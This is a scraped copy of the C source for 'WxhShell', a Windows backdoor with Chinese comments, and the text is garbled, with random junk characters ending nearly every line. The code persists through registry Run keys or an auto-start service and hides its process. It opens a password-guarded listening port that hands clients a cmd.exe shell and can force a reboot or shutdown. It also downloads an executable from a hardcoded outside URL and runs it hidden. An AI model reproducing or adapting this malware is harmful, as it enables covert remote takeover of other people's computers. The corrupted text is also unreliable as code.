    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pAil]f6  
    if(Boot(SHUTDOWN)) sQ}%7BMK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <s/<b*T ^  
    else { d)0LVa(  
    closesocket(wsh); (+UmUx=  
    ExitThread(0); LR3`=Z9  
    } ~#"7,rQp  
    break; )ojx_3j8  
    } }B"|z'u  
  // 获取shell _t|G@D{   
  case 's': { +Cf0Y2*@hM  
    CmdShell(wsh); YxEbg(Y  
    closesocket(wsh); qA/#IUi)1  
    ExitThread(0); mT6q}``vtG  
    break; /e|[SITe  
  } 8Y\OCwO  
  // 退出 C NfJ:e2  
  case 'x': { [Iw>|q<e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IAP/G5'Q  
    CloseIt(wsh); C[xJU6z  
    break; 1t~FW-:  
    } Y  .  
  // 离开 dXiE.Si  
  case 'q': { 1xO!w+J#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f4'El2>-86  
    closesocket(wsh); PNbcy!\U  
    WSACleanup(); #9D/jYK1X  
    exit(1); . QXG"R  
    break; > 'aG /(  
        } d $fvg8^  
  } "($Lx  
  } 9jO`gWxV8*  
&_9YLXtMi;  
  // 提示信息 'u(=eJ@1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [J)/Et  
} %1\v7Xw{9  
  } D[89*@v  
ZT) !8  
  return; Cf0|Z  
} *$i;o3  
HKTeqH_:  
// shell模块句柄 [x!i* rW3  
int CmdShell(SOCKET sock) (;0$i?3\  
{ .4Qb5I2#  
STARTUPINFO si; EqD^/(,L2  
ZeroMemory(&si,sizeof(si)); j?:`-\w5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4llD6&%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }_{y|NW  
PROCESS_INFORMATION ProcessInfo; 5/B#)gm  
char cmdline[]="cmd"; D:wnO|:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); onnI !  
  return 0; t_jyyHxoZ:  
} N[qA2+e$Z  
n1QEu"~Zj  
// 自身启动模式 `d7gm;ykp  
int StartFromService(void) R=-+YBw7/  
{ *8$>Whr  
typedef struct t=n+3`g  
{ -7>^ rR V  
  DWORD ExitStatus; `"a? a5]k  
  DWORD PebBaseAddress; 8P,l>HA  
  DWORD AffinityMask; WD15pq l  
  DWORD BasePriority; iH-bo@  
  ULONG UniqueProcessId; 2E$^_YT C  
  ULONG InheritedFromUniqueProcessId; >=if8t!  
}   PROCESS_BASIC_INFORMATION; 2E^"r jLm  
)]%e  
PROCNTQSIP NtQueryInformationProcess; (VgNb&Yo9  
7:n?PN(p6a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (y1$MYZ Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C,o:  
VmN}FMGN  
  HANDLE             hProcess; DH5bpg&T  
  PROCESS_BASIC_INFORMATION pbi; ,{k<JA {  
~?#~Ar  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8r,9OM  
  if(NULL == hInst ) return 0; m_a^RB(  
-=>sTMWpr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hx$.9'Oq\Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0 _Q * E3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JXH",""bq  
oZgHSRRL  
  if (!NtQueryInformationProcess) return 0; kMM'[w  
jcE Msc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'KH lrmnr  
  if(!hProcess) return 0; .iFViVZC  
*kP;{Cb`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?TDvCL  
?RHn @$g8M  
  CloseHandle(hProcess); 'X9AG6K1  
lM>.@:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :-z&Y492  
if(hProcess==NULL) return 0; K[kds`  
a$d:_,\ "  
HMODULE hMod; G.E[6G3  
char procName[255]; aX|g S\zx  
unsigned long cbNeeded; `M&P[ .9Pz  
5J  ySFG3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ua %UbAt  
.}o~VT:!?Y  
  CloseHandle(hProcess);  Nj+a2[  
;_}~%-_ ~  
if(strstr(procName,"services")) return 1; // 以服务启动 KYp[Gs  
iQqqs`K  
  return 0; // 注册表启动 tww=~!  
} $]C=qM28-  
wh%xkXa[ur  
// 主模块 e,(a6X  
int StartWxhshell(LPSTR lpCmdLine) t<Ot|Ex  
{ xk& NAB  
  SOCKET wsl; <Z},A-\S*  
BOOL val=TRUE; J,??x0GDx,  
  int port=0; wTxbDT@H5  
  struct sockaddr_in door; ?=<~^Lk  
JnY$fs*"  
  if(wscfg.ws_autoins) Install(); /jM_mrpz  
i0>]CJG  
port=atoi(lpCmdLine); !$_~x 8K1-  
?\ZL#)hr"p  
if(port<=0) port=wscfg.ws_port; yNBv-oe5  
<:">mV+/  
  WSADATA data; e!GZSk   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YxXq I  
9UV9h_.x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U9 #w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =-w;z x  
  door.sin_family = AF_INET; xYPxg!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V43TO  
  door.sin_port = htons(port); SrFx_n  
|d[5l^6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dN< , %}R  
closesocket(wsl); $E\^v^LW  
return 1; >TY6O.]  
} R::zuv  
'S*k_vuN  
  if(listen(wsl,2) == INVALID_SOCKET) { wjrG7*_Y4v  
closesocket(wsl); M%I@<~wl  
return 1; Xw t`(h[u  
} M*w'1fT  
  Wxhshell(wsl); Jd_;@(Eg=  
  WSACleanup(); ,!Q]q^{C:W  
d`mD!)j  
return 0; L_Q S0_1  
(!3;X"l  
} BgM%+b8u  
##cnFQCB  
// 以NT服务方式启动 &dr@6-xaq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9gy(IRGq/  
{ le8 #Z}p  
DWORD   status = 0; 2Q@Y^t   
  DWORD   specificError = 0xfffffff; ygzxCn|#  
s9@Sd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1Ipfw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5pfYEofK[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H>XFz(LWh  
  serviceStatus.dwWin32ExitCode     = 0; y!~qbh[  
  serviceStatus.dwServiceSpecificExitCode = 0; Be2lMC  
  serviceStatus.dwCheckPoint       = 0; p $Hi[upy  
  serviceStatus.dwWaitHint       = 0; | &7S8Q  
H;Ku w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t0Mx!p'T  
  if (hServiceStatusHandle==0) return; wP<07t[-g  
z=g$Exl  
status = GetLastError(); pvF-Y9Xb  
  if (status!=NO_ERROR) vcv CD7MD  
{ BhkoSkr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [ *>AN7W   
    serviceStatus.dwCheckPoint       = 0; [ c~kF+8  
    serviceStatus.dwWaitHint       = 0; uOd& XW  
    serviceStatus.dwWin32ExitCode     = status; K\u_Ji]k  
    serviceStatus.dwServiceSpecificExitCode = specificError; y t5H oy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -DjJ",h( $  
    return; mV)+qXC  
  } /TV= $gB`  
Dvc&RG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e2cP *J  
  serviceStatus.dwCheckPoint       = 0; 6;iJ*2f5V  
  serviceStatus.dwWaitHint       = 0; `XKVr  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x#*QfE/E(@  
} iOCqE 5d3  
]PR#W_&q  
// 处理NT服务事件,比如:启动、停止 vUesV%9hq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _las;S'oa  
{ H43MoC  
switch(fdwControl) }Wh6zT)  
{ S6g<M5^R  
case SERVICE_CONTROL_STOP:  }ptq )p  
  serviceStatus.dwWin32ExitCode = 0; a`!@+6yC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^5; `-Ky  
  serviceStatus.dwCheckPoint   = 0; 2VoKr)  
  serviceStatus.dwWaitHint     = 0; _>yoX  
  { Uz dc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aG%, cQ1  
  } 'e!J06  
  return; ; )Eo7?]-  
case SERVICE_CONTROL_PAUSE: F_H82BE+3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4(8xjL:  
  break; +&i +Mpb  
case SERVICE_CONTROL_CONTINUE: Vsnuy8~k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <hx+wrv  
  break; t0)<$At6J  
case SERVICE_CONTROL_INTERROGATE: eE@&ze>X  
  break; }4//@J?:  
}; Ul+Mo&y-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6"f}O<M 5H  
} 5d\q-d  
&(N+.T5cp  
// 标准应用程序主函数 .@F]Pht  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <RNJ>>0  
{ T~:|!`  
4\M.6])_   
// 获取操作系统版本 EYX$pz(x;  
OsIsNt=GetOsVer(); $O)3 q $|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?OlV"zK  
7msAhz  
  // 从命令行安装 $F'>yop2b  
  if(strpbrk(lpCmdLine,"iI")) Install(); DA&?e~L&H  
Np+&t}  
  // 下载执行文件 RQB 4s^t  
if(wscfg.ws_downexe) { 36.N>G,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JW.=T)  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9f+>ix,ek*  
} C3NdE_E  
\ZU1J b1c  
if(!OsIsNt) { umi5Wb<  
// 如果时win9x,隐藏进程并且设置为注册表启动 s?R2B)a  
HideProc(); u8GMUN  
StartWxhshell(lpCmdLine); kOo~%kcQ'  
} `;l.MZL!  
else .iX# A<E}  
  if(StartFromService()) 7R!5,Js+  
  // 以服务方式启动 ??60,m:]  
  StartServiceCtrlDispatcher(DispatchTable); ={>Lrig:l  
else $37 g]ZD  
  // 普通方式启动 %ru;;h  
  StartWxhshell(lpCmdLine); ,\2:/>2  
E.|-?xQ6  
return 0; YH&bD16c3  
} 9o*,P,j'}  
6(d}W2GP  
Rp7ntI:  
rE9I>|tX  
=========================================== 5NoI~X=  
/zDi9W*~1  
}v:jncp  
%wcSM~w  
:+Om]#`Vls  
:0 & X^]\  
" k@ZLg9  
xj5;: g#!  
#include <stdio.h> YW u cvw&  
#include <string.h> 4lhw3,5  
#include <windows.h> @Z>ZiU,^  
#include <winsock2.h> '52~$z#m  
#include <winsvc.h> w }Uhd ,  
#include <urlmon.h> o*U]v   
s*U1  
#pragma comment (lib, "Ws2_32.lib") Wjhvxk  
#pragma comment (lib, "urlmon.lib") &nBa=Enf  
J]f3CU,<N  
#define MAX_USER   100 // 最大客户端连接数 AL#4_]m'  
#define BUF_SOCK   200 // sock buffer bwiPS1+);  
#define KEY_BUFF   255 // 输入 buffer EBz}|GY;  
[(1c<b2r  
#define REBOOT     0   // 重启 9z)5Mdf1j  
#define SHUTDOWN   1   // 关机 w?kJ+lmOQy  
dT,o=8fg  
#define DEF_PORT   5000 // 监听端口 "BX!  
E dZ\1'&/9  
#define REG_LEN     16   // 注册表键长度 gUyR_5q)8l  
#define SVC_LEN     80   // NT服务名长度 !,V{zTR  
5waKI?4F  
// 从dll定义API "HE^v_p  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \+aC"#+0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x#Sqn#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F 8B#}%JE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .9Y)AtJTS  
~3uP6\F  
// wxhshell配置信息 V<k8N^  
struct WSCFG { C8z{XSo  
  int ws_port;         // 监听端口 da)NK!  
  char ws_passstr[REG_LEN]; // 口令 6G=j6gK%P  
  int ws_autoins;       // 安装标记, 1=yes 0=no M1KqY:9E  
  char ws_regname[REG_LEN]; // 注册表键名 -D6exTxh"  
  char ws_svcname[REG_LEN]; // 服务名 vWGwVH/K  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r@ZJ{4\Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u\eEh*<7q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e=O,B8)_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no */|BpakD<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jH_JmYd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [l,Ei?  
3}e%[AKh  
}; ^o7;c[E`  
9k{PBAP  
// default Wxhshell configuration 2RSt)3!},  
struct WSCFG wscfg={DEF_PORT, ;G%R<Z  
    "xuhuanlingzhe", yn#X;ja-  
    1, l ok=  
    "Wxhshell", \L"kV!>  
    "Wxhshell", )ZN|t?|  
            "WxhShell Service", qvPtyc^fN  
    "Wrsky Windows CmdShell Service", ~6p[El#tS  
    "Please Input Your Password: ", J H7<  
  1, &RfC"lc  
  "http://www.wrsky.com/wxhshell.exe", eUg~)m5G  
  "Wxhshell.exe" e=.]F*:J  
    }; ght$9>'n  
T?X_c"{8M  
// 消息定义模块 R=jI?p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x&0vKo;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S\;V4@<Kn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vh$%9ed  
char *msg_ws_ext="\n\rExit."; %f]:I  
char *msg_ws_end="\n\rQuit."; <_7*67{  
char *msg_ws_boot="\n\rReboot..."; R rda# h^  
char *msg_ws_poff="\n\rShutdown..."; rW=Z>1  
char *msg_ws_down="\n\rSave to "; AJ=qna  
?"g!  
char *msg_ws_err="\n\rErr!"; +llR204  
char *msg_ws_ok="\n\rOK!"; !jTcsN%  
Y=Kc'x[,Zj  
char ExeFile[MAX_PATH]; "men  
int nUser = 0; &G-!qxe  
HANDLE handles[MAX_USER]; .X;3,D[w  
int OsIsNt; /{&tY: ;m  
MjU6/pO}L  
SERVICE_STATUS       serviceStatus; _ jsK}- \  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .hifsB~  
Om5Y|v"*  
// 函数声明 c I4K+  
int Install(void); w 47tgPPk  
int Uninstall(void); n^g|Ja  
int DownloadFile(char *sURL, SOCKET wsh); ynQ: > tw  
int Boot(int flag); P09;ng67  
void HideProc(void); B\XKw'   
int GetOsVer(void); xU4 +|d  
int Wxhshell(SOCKET wsl); z*!%g[3I  
void TalkWithClient(void *cs); I"A_b}~*}  
int CmdShell(SOCKET sock); /#)/;  
int StartFromService(void); xsD($_  
int StartWxhshell(LPSTR lpCmdLine); j-lfMEa$o  
%4gg@Z9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ATK_DE Au  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6}FP  
Jt}Bpg!J  
// 数据结构和表定义 85LAY aw  
SERVICE_TABLE_ENTRY DispatchTable[] =  z62;cv  
{ j3{D^|0bP  
{wscfg.ws_svcname, NTServiceMain}, yjF1}SQ  
{NULL, NULL} N u<_}  
}; $adbCY \  
6V7B;tB  
// 自我安装 %yv<y+yP~  
int Install(void) : qd`zG3  
{ JPoN&BTCj  
  char svExeFile[MAX_PATH]; ~=uWD&5B4  
  HKEY key; T9Nb`sbV]  
  strcpy(svExeFile,ExeFile); K/|Z$4S  
x$6^R q>2  
// 如果是win9x系统,修改注册表设为自启动 vzim<;i  
if(!OsIsNt) { E2Q[ZoVS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !1$])VQWI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~Vr.J}]J  
  RegCloseKey(key); )p<ExMIxd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~?K~L~f5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0.8  2kl  
  RegCloseKey(key); tp63@L|Q  
  return 0; n(;|q&3  
    } tFp Ygff<  
  } n[lJLm^(_C  
} ^\4h<M  
else { {y=j?lD  
K/IWH[  
// 如果是NT以上系统,安装为系统服务 wk5s)%V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^ hZ0IM  
if (schSCManager!=0) )b)-ZS7  
{ xc=b |:A  
  SC_HANDLE schService = CreateService ^")Q YE  
  ( lh7jux  
  schSCManager, Nn!+,;ut  
  wscfg.ws_svcname, W*Zkc:{eB  
  wscfg.ws_svcdisp, DH\0z[  
  SERVICE_ALL_ACCESS, l`#4KCL(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pKpUXfQu  
  SERVICE_AUTO_START, X-K=!pET  
  SERVICE_ERROR_NORMAL, w n/_}]T  
  svExeFile, L~lxXTG\  
  NULL, >\KNM@'KI  
  NULL, u{['<r;I  
  NULL, RI(DXWM|h  
  NULL, 9]f!'d!5  
  NULL tX_R_]v3  
  ); a7r%X -  
  if (schService!=0) ywGd>@  
  { J}v}~Cv  
  CloseServiceHandle(schService); \LR~r%(rM  
  CloseServiceHandle(schSCManager); &"&Z #llb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QdF5Cwf4  
  strcat(svExeFile,wscfg.ws_svcname); Q(wx nm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a&/#X9/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TaKLzd2  
  RegCloseKey(key); PgtJ3oq [}  
  return 0; 6dabU*  
    } J8uLJ  
  } v+46 QK|I&  
  CloseServiceHandle(schSCManager); /:~\5}tW  
} 6e9,PS  
} +6HVhoxU#  
[>8}J "  
return 1; k/#&qC>]  
} l;R%= P?'F  
 M+||rct  
// 自我卸载 3x{ t(  
int Uninstall(void) $rv8K j+  
{ [uC ]*G]  
  HKEY key; 8xMEe:}V  
SUCM b8  
if(!OsIsNt) { n.!#P|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZSjMH .Ij"  
  RegDeleteValue(key,wscfg.ws_regname); yu!h<nfzA  
  RegCloseKey(key); Ugu[|,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l{I6&^!KS  
  RegDeleteValue(key,wscfg.ws_regname); ($au:'kU  
  RegCloseKey(key); x$5) ^ud?  
  return 0; UO0{):w>  
  } iU$] {c2;A  
} {.?ZHy\Rk  
} *H"B _3<n  
else { -]/I73!b  
#lmB AL~3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t<#mP@Mz=N  
if (schSCManager!=0) UQ)W%Y;[0  
{ 4|buk]9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >7lx=T x  
  if (schService!=0) 60P#,o@G  
  { ]R h#g5X  
  if(DeleteService(schService)!=0) { |=Eo?Q_  
  CloseServiceHandle(schService); I4/8 _)b^  
  CloseServiceHandle(schSCManager); IHam4$~-  
  return 0; '&x#rjo#  
  } mHV%I@`Y6  
  CloseServiceHandle(schService); CtyoHvw+M  
  } ciBP7>'::  
  CloseServiceHandle(schSCManager); h`KFL/fT  
} hn5h\M?  
} G`SUxhCk  
K0-ypU*P  
return 1; HePUWL'  
} >80;8\  
D>/0v8  
// 从指定url下载文件 LLk(l#K*  
int DownloadFile(char *sURL, SOCKET wsh) 77C'*tt1]  
{ o3Yb7h9  
  HRESULT hr; .`HYA*8_  
char seps[]= "/"; E27vR 7  
char *token; |L%Z,:yO  
char *file; ?5C!<3gM)  
char myURL[MAX_PATH]; LPZF)@|`  
char myFILE[MAX_PATH]; V=R 3)GC  
P\yDa*m  
strcpy(myURL,sURL); {P*pk c  
  token=strtok(myURL,seps); \|H!~)h$1  
  while(token!=NULL) %eX{WgH  
  { zMj#KA1  
    file=token; En~5"yW5>]  
  token=strtok(NULL,seps); wW7eT~w  
  } f!\lg  
`|6'9  
GetCurrentDirectory(MAX_PATH,myFILE); WKC.$[ T=  
strcat(myFILE, "\\"); /(u}KMR!f  
strcat(myFILE, file);  f\]sz?KY  
  send(wsh,myFILE,strlen(myFILE),0); _,p/l&<  
send(wsh,"...",3,0); 7E!IF>`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F~T]u2qt  
  if(hr==S_OK) o)Iff)m$  
return 0; $;1#To  
else  3,p]/Z_  
return 1; Rn}l6kbM  
gp5_Z-me  
} *,e:]!*  
2/vMoVT,  
// 系统电源模块 -=%@L&y1  
int Boot(int flag) QqFR\6  
{ 0"kbrv2y  
  HANDLE hToken; XRcqhv  
  TOKEN_PRIVILEGES tkp; {_7 i8c<s=  
?3nR  
  if(OsIsNt) { CnpV:>V=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -8; 7Sp1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bSiYHRH.e  
    tkp.PrivilegeCount = 1; #r#1JtT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T=iJGRctB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d;zai]]  
if(flag==REBOOT) { `P@T$bC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #bUXgn>  
  return 0; wG~`[>y (  
} 3vuivU.3  
else { "3Uv]F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !Fca~31R'  
  return 0; &|Bc7+/P  
} A#Iyb){Y  
  } tz5e"+Tz  
  else { W=j[V Oq  
if(flag==REBOOT) { Cbg!:Cws  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FKIw!m ~  
  return 0; ZIf  
} 5* j?E  
else { /I1h2 E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0rOfrTNOz%  
  return 0; )k\H@Dy%$  
} gbI^2=YT'  
} XlV0*}S  
Sm)Ha:[4  
return 1; hWM< 0=  
} mtJ9nC  
'?!zG{x  
// win9x进程隐藏模块 Zo|.1pN  
void HideProc(void) !ipR$ dM  
{ \?Z{hmN  
|uX,5Q#6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !j:9`XD|  
  if ( hKernel != NULL ) ,I7E[LU  
  { 2/?`J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mR&H9 NG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c#|raXGT  
    FreeLibrary(hKernel); nH`Q#ZFz]?  
  } <D:.(AUeO  
q|j2MV5#g  
return; (a[y1{DLy  
} _kj wFq  
ZX>AE3wk  
// 获取操作系统版本 S4'   
int GetOsVer(void) T;L>;E>B  
{ !zkZQ2{Wn  
  OSVERSIONINFO winfo; u -;_y='m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eIz<)-7:  
  GetVersionEx(&winfo); wj,:"ESb4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @CTgT-0!  
  return 1; Yn@lr6s  
  else v:!Z=I}>  
  return 0; W yB3ls~  
} qu-B| MuOa  
M!/Cknm  
// 客户端句柄模块 ]!I7Y.w6  
int Wxhshell(SOCKET wsl) $* AYcy7  
{ o$#G0}yn  
  SOCKET wsh; P,xKZ{(  
  struct sockaddr_in client; +_; l|uhT;  
  DWORD myID; 8.XoVW#  
Ont%eC\  
  while(nUser<MAX_USER) `}(b2Hc>  
{ Jz7!4mu  
  int nSize=sizeof(client); e8pG"`wM8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); F ~^Jmp7Y  
  if(wsh==INVALID_SOCKET) return 1; qyF{f8pzq  
luo   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '^No)n\`  
if(handles[nUser]==0) ]~aF2LJ_q  
  closesocket(wsh); 8vMG5#U[  
else -*$HddD  
  nUser++; L\@I*QP  
  } >+JqA7K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0 vtt"f)Y[  
eO?p*"p"F  
  return 0; } ud0&Oe{  
} kMb}1J0i"  
)6q,>whI]  
// 关闭 socket # WAZ9,t  
void CloseIt(SOCKET wsh) YE|SKx@  
{  swK-/$#  
closesocket(wsh); F({HP)9b  
nUser--; Fh`~`eog  
ExitThread(0); ]^lw*724'>  
} }% `.h"  
#~7ip\Uf[  
// 客户端请求句柄 Bwa'`+bC  
void TalkWithClient(void *cs) P(H8[,  
{ PcA2/!a  
*~t6(v?  
  SOCKET wsh=(SOCKET)cs; v.pBX<  
  char pwd[SVC_LEN]; tn Pv70m  
  char cmd[KEY_BUFF]; j6Yy6X]  
char chr[1]; K POa|$  
int i,j; SZ,YS 4M  
|y0(Q V  
  while (nUser < MAX_USER) { CDP U\ZG  
d8[J@M53|T  
if(wscfg.ws_passstr) { L1cI`9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z Uox Mm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \6R,Nq  
  //ZeroMemory(pwd,KEY_BUFF); :-/M?,Q"  
      i=0; t .7?  
  while(i<SVC_LEN) { \/: {)T~  
n?- })  
  // 设置超时 {so `/EWa  
  fd_set FdRead; [H6hyG~  
  struct timeval TimeOut; )iYxt:(,  
  FD_ZERO(&FdRead); /H8g(  
  FD_SET(wsh,&FdRead); H."EUcE{  
  TimeOut.tv_sec=8; d-k%{eBV  
  TimeOut.tv_usec=0; SKkUU^\#R`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nEJY5Bz$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n 2)@S0{  
qU#1i:(F*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BW 4%l  
  pwd=chr[0]; 9{ >Ui  
  if(chr[0]==0xd || chr[0]==0xa) { .^h#_[dp  
  pwd=0; U56G.  
  break; D;;!ODX$?  
  } gBC@38|6)  
  i++; ,.OERw  
    } 0:9.;x9_  
@GdbTd  
  // 如果是非法用户,关闭 socket ";3zX k[#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vUohtS*  
} 3Nq N \5B:  
_*1`@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L)@?e?9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J|~MC7#@q  
? }kG`q  
while(1) { umt.Um.m2  
YVHm{A1b0  
  ZeroMemory(cmd,KEY_BUFF); FB{KH .  
-OapVac  
      // 自动支持客户端 telnet标准   ;#vKi0V7  
  j=0; y CVI\y\B  
  while(j<KEY_BUFF) { @~YYD#'vNY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \$*7 >`k  
  cmd[j]=chr[0]; ]x(e&fyHB  
  if(chr[0]==0xa || chr[0]==0xd) {  |8My42yf  
  cmd[j]=0; D ,o}el  
  break; 5h Q E4/hH  
  } TFkZpe;  
  j++; A Q'J9  
    } g^}8:,F_  
u>kN1kQ8  
  // 下载文件 YoBPLS`K  
  if(strstr(cmd,"http://")) { {q `jDDM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +yk24 ` >  
  if(DownloadFile(cmd,wsh)) g*03{l#P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); inh=WUEW  
  else apg=-^L'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |mGFts}0o'  
  } gcdlT7F)b-  
